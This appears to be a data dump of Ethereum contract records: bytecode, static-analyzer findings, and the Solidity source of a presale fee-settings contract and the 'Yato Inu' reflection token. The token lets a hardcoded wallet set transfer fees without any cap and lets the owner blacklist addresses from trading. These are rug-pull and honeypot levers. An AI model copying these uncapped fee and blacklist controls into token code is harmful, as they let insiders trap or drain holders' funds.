f16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178c9190611e49565b60405180910390a35b6117f1565b60001515600b60009054906101000a900460ff161515146117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e790611e09565b60405180910390fd5b5b505050565b600083831115829061183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359190611d07565b60405180910390fd5b506000838561184d9190611f22565b9050809150509392505050565b60008082846118699190611e9b565b9050838110156118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590611d89565b60405180910390fd5b8091505092915050565b60006118fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008083118290611972576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119699190611d07565b60405180910390fd5b50600083856119819190611ef1565b9050809150509392505050565b60008135905061199d8161225b565b92915050565b6000813590506119b281612272565b92915050565b6000602082840312156119ce576119cd61203c565b5b60006119dc8482850161198e565b91505092915050565b600080604083850312156119fc576119fb61203c565b5b6000611a0a8582860161198e565b9250506020611a1b8582860161198e565b9150509250929050565b600080600060608486031215611a3e57611a3d61203c565b5b6000611a4c8682870161198e565b9350506020611a5d8682870161198e565b9250506040611a6e868287016119a3565b9150509250925092565b60008060408385031215611a8f57611a8e61203c565b5b6000611a9d8582860161198e565b9250506020611aae858286016119a3565b9150509250929050565b60008060408385031215611acf57611ace61203c565b5b6000611add858286016119a3565b9250506020611aee858286016119a3565b9150509250929050565b611b0181611f56565b82525050565b611b1081611f68565b82525050565b6000611b2182611e7f565b611b2b8185611e8a565b9350611b3b818560208601611fab565b611b4481612041565b840191505092915050565b6000611b5c602383611e8a565b9150611b6782612052565b604082019050919050565b6000611b7f600783611e8a565b9150611b8a826120a1565b602082019050919050565b6000611ba2602283611e8a565b9150611bad826120ca565b604082019050919050565b6000611bc5601b83611e8a565b9150611bd082612119565b602082019050919050565b6000611be8602083611e8a565b9150611bf382612142565b602082019050919050565b6000611c0b602983611e8a565b9150611c168261216b565b604082019050919050565b6000611c2e602583611e8a565b9150611c39826121ba565b604082019050919050565b6000611c51600083611e8a565b9150611c5c82612209565b600082019050919050565b6000611c74602483611e8a565b9150611c7f8261220c565b604082019050919050565b611c9381611f94565b82525050565b611ca281611f9e565b82525050565b6000602082019050611cbd6000830184611af8565b92915050565b6000604082019050611cd86000830185611af8565b611ce56020830184611b07565b9392505050565b6000602082019050611d016000830184611b07565b92915050565b60006020820190508181036000830152611d218184611b16565b905092915050565b60006020820190508181036000830152611d4281611b4f565b9050919050565b60006020820190508181036000830152611d6281611b72565b9050919050565b60006020820190508181036000830152611d8281611b95565b9050919050565b60006020820190508181036000830152611da281611bb8565b9050919050565b60006020820190508181036000830152611dc281611bdb565b9050919050565b60006020820190508181036000830152611de281611bfe565b9050919050565b60006020820190508181036000830152611e0281611c21565b9050919050565b60006020820190508181036000830152611e2281611c44565b9050919050565b60006020820190508181036000830152611e4281611c67565b9050919050565b6000602082019050611e5e6000830184611c8a565b92915050565b6000602082019050611e796000830184611c99565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ea682611f94565b9150611eb183611f94565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee657611ee5611fde565b5b828201905092915050565b6000611efc82611f94565b9150611f0783611f94565b925082611f1757611f1661200d565b5b828204905092915050565b6000611f2d82611f94565b9150611f3883611f94565b925082821015611f4b57611f4a611fde565b5b828203905092915050565b6000611f6182611f74565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611fc9578082015181840152602081019050611fae565b83811115611fd8576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61226481611f56565b811461226f57600080fd5b50565b61227b81611f94565b811461228657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220668c72e25290b05738be2bdda59f012f895c385074507b0fdf4b06d7774cb5d964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
404
0xaBAE64D9d205d0467F7cA03aA1cd133EAd41873c
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, "EnumerableSet: index out of bounds" ); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract PresaleSettings is Ownable { using EnumerableSet for EnumerableSet.AddressSet; struct Settings { uint256 BASE_FEE; // base fee divided by 1000 uint256 TOKEN_FEE; // token fee divided by 1000 address payable ETH_FEE_ADDRESS; address payable TOKEN_FEE_ADDRESS; uint256 ETH_CREATION_FEE; // fee to generate a presale contract on the platform } Settings public SETTINGS; constructor() public { SETTINGS.BASE_FEE = 10; // 1% SETTINGS.TOKEN_FEE = 0; // 0% SETTINGS.ETH_CREATION_FEE = 500000000000000000; // 0.5 ETH SETTINGS.ETH_FEE_ADDRESS = 0x48B16bE81b5e5b3ADe688Da283869016FaBd6c4B; SETTINGS.TOKEN_FEE_ADDRESS = 0x48B16bE81b5e5b3ADe688Da283869016FaBd6c4B; } function getBaseFee() external view returns (uint256) { return SETTINGS.BASE_FEE; } function getTokenFee() external view returns (uint256) { return SETTINGS.TOKEN_FEE; } function getEthCreationFee() external view returns (uint256) { return SETTINGS.ETH_CREATION_FEE; } function getEthAddress() external view returns (address payable) { return SETTINGS.ETH_FEE_ADDRESS; } function getTokenAddress() external view returns (address payable) { return SETTINGS.TOKEN_FEE_ADDRESS; } function setFeeAddresses( address payable _ethAddress, address payable _tokenFeeAddress ) external onlyOwner { SETTINGS.ETH_FEE_ADDRESS = _ethAddress; SETTINGS.TOKEN_FEE_ADDRESS = _tokenFeeAddress; } function setFees( uint256 _baseFee, uint256 _tokenFee, uint256 _ethCreationFee ) external onlyOwner { SETTINGS.BASE_FEE = _baseFee; SETTINGS.TOKEN_FEE = _tokenFee; SETTINGS.ETH_CREATION_FEE = _ethCreationFee; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063715018a611610071578063715018a61461012c5780638da5cb5b14610134578063ade97ab51461013c578063cec10c1114610179578063e38ef7a3146101a2578063f2fde38b146101aa576100a9565b806310fe9ae8146100ae57806311c84120146100d257806315e812ad14610102578063247851721461011c5780633554685014610124575b600080fd5b6100b66101d0565b604080516001600160a01b039092168252519081900360200190f35b610100600480360360408110156100e857600080fd5b506001600160a01b03813581169160200135166101df565b005b61010a610265565b60408051918252519081900360200190f35b6100b661026b565b61010a61027a565b610100610280565b6100b6610322565b610144610331565b6040805195865260208601949094526001600160a01b0392831685850152911660608401526080830152519081900360a00190f35b6101006004803603606081101561018f57600080fd5b5080359060208101359060400135610353565b61010a6103b9565b610100600480360360208110156101c057600080fd5b50356001600160a01b03166103bf565b6004546001600160a01b031690565b6101e76104b7565b6000546001600160a01b03908116911614610237576040805162461bcd60e51b815260206004820181905260248201526000805160206104e2833981519152604482015290519081900360640190fd5b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b60015490565b6003546001600160a01b031690565b60025490565b6102886104b7565b6000546001600160a01b039081169116146102d8576040805162461bcd60e51b815260206004820181905260248201526000805160206104e2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6001546002546003546004546005546001600160a01b03928316929091169085565b61035b6104b7565b6000546001600160a01b039081169116146103ab576040805162461bcd60e51b815260206004820181905260248201526000805160206104e2833981519152604482015290519081900360640190fd5b600192909255600255600555565b60055490565b6103c76104b7565b6000546001600160a01b03908116911614610417576040805162461bcd60e51b815260206004820181905260248201526000805160206104e2833981519152604482015290519081900360640190fd5b6001600160a01b03811661045c5760405162461bcd60e51b81526004018080602001828103825260268152602001806104bc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220b55a55bfab5c5f387dcb9d39019365bfec17590df9e32935e35e961c6fffa0d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
405
0x58f8656cc4395a808abfc0931b88eba5cd6e8a3b
/** *Submitted for verification at Etherscan.io on 2021-11-18 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YatoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xCeAe2876545A544FcAfC940944Cf69bFCEB5758A); address payable private _feeAddrWallet2 = payable(0xe36a7CF1938Ee7818224aB6aD623bB46347Ae313); string private constant _name = "Yato Inu"; string private constant _symbol = "YATO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031d578063c3c8cd801461033d578063c9567bf914610352578063cfe81ba014610367578063dd62ed3e1461038757600080fd5b8063715018a614610273578063842b7c08146102885780638da5cb5b146102a857806395d89b41146102d0578063a9059cbb146102fd57600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260088152675961746f20496e7560c01b60208201525b60405161015e9190611879565b60405180910390f35b34801561017357600080fd5b50610187610182366004611700565b6103cd565b604051901515815260200161015e565b3480156101a357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015e565b3480156101cc57600080fd5b506101876101db3660046116bf565b6103e4565b3480156101ec57600080fd5b506102006101fb36600461164c565b61044d565b005b34801561020e57600080fd5b506040516009815260200161015e565b34801561022a57600080fd5b506102006102393660046117f8565b6104a1565b34801561024a57600080fd5b506102006104e9565b34801561025f57600080fd5b506101b261026e36600461164c565b610516565b34801561027f57600080fd5b50610200610538565b34801561029457600080fd5b506102006102a3366004611832565b6105ac565b3480156102b457600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102dc57600080fd5b506040805180820190915260048152635941544f60e01b6020820152610151565b34801561030957600080fd5b50610187610318366004611700565b610603565b34801561032957600080fd5b5061020061033836600461172c565b610610565b34801561034957600080fd5b506102006106a6565b34801561035e57600080fd5b506102006106dc565b34801561037357600080fd5b50610200610382366004611832565b610aa5565b34801561039357600080fd5b506101b26103a2366004611686565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103da338484610afc565b5060015b92915050565b60006103f1848484610c20565b610443843361043e85604051806060016040528060288152602001611a65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b610afc565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b8152600401610477906118ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b8152600401610477906118ce565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050957600080fd5b4761051381610f3d565b50565b6001600160a01b0381166000908152600260205260408120546103de90610fc2565b6000546001600160a01b031633146105625760405162461bcd60e51b8152600401610477906118ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fe5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600a55565b60006103da338484610c20565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610477906118ce565b60005b81518110156106a25760016006600084848151811061065e5761065e611a15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a816119e4565b91505061063d565b5050565b600c546001600160a01b0316336001600160a01b0316146106c657600080fd5b60006106d130610516565b905061051381611046565b6000546001600160a01b031633146107065760405162461bcd60e51b8152600401610477906118ce565b600f54600160a01b900460ff16156107605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610477565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a030826b033b2e3c9fd0803ce8000000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611669565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610